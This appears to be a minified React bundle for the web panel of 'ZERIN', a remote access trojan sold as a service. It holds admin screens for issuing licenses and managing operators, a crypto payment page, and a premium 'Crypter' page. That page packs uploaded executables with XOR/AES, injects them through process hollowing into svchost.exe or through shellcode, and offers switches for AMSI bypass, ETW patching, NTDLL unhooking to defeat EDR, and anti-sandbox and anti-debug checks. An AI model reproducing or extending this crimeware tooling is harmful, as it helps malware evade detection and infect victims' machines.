hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:Y,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ae,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:P=>h(P.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:P=>g(P.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(P=>s.jsx("button",{type:"button",onClick:()=>h(P),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===P?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:P},P))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(P=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:P.key_id,children:[P.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(v2,{status:P.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${P.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:P.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:cp(P.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:cp(P.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:P.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:P.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:P.generated_by}),s.jsx("td",{className:"px-4 py-3",children:P.status!=="revoked"&&P.status!=="expired"?z===P.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>fe(P.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>O(P.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},P.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:ie,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(P=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:P.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(QU,{role:P.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${P.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:P.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:P.license_status?s.jsx(v2,{status:P.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:P.license_expires_at?cp(P.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:P.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{T(P),U("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(P),V(P.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},P.id))})]})})]}),_&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:P=>P.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:_.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:E,onChange:P=>U(P.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(P=>s.jsx("button",{onClick:()=>U(P),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${E===P?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:P},P))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:de,disabled:K,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:K?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),I&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:P=>P.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:I.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>V("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>V("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:G,disabled:$,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:$?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function eV(){const{isAdmin:e}=Xa(),n=Uj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[O,_]=p.useState(""),[T,E]=p.useState(!1),U=p.useRef(null),K=p.useCallback(I=>{I.preventDefault(),E(!1);const F=I.dataTransfer.files[0];F&&i(F)},[]),R=p.useCallback(async()=>{if(!(!r||k)){S(!0),_(""),z(5);try{const I=new FormData;I.append("file",r),I.append("mode",a),I.append("target_process",l),I.append("sleep_seconds",u.toString()),I.append("anti_sandbox",f.toString()),I.append("anti_debug",h.toString()),I.append("unhook_ntdll",g.toString()),I.append("amsi_bypass",v.toString()),I.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(q=>Math.min(q+5,85))},2e3),B=await TE(I);clearInterval(F),z(100);const V=URL.createObjectURL(B),$=document.createElement("a");$.href=V,$.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild($),$.click(),document.body.removeChild($),URL.revokeObjectURL(V),setTimeout(()=>z(0),2e3)}catch(I){_(I.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${T?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:I=>{I.preventDefault(),E(!0)},onDragLeave:()=>E(!1),onDrop:K,onClick:()=>{var I;return(I=U.current)==null?void 0:I.click()},children:[s.jsx("input",{ref:U,type:"file",accept:".exe",className:"hidden",onChange:I=>{var B;const F=(B=I.target.files)==null?void 0:B[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:I=>c(I.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:I=>d(Math.max(0,parseInt(I.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:I,label:F,desc:B,value:V,set:$})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${V?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:V,onChange:q=>$(q.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:B})]})]},I))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:R,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),O&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:O})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(it,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function tV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const nV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function rV(){const{id:e}=Mo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await tV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?nV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(it,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(it,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(it,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(it,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] 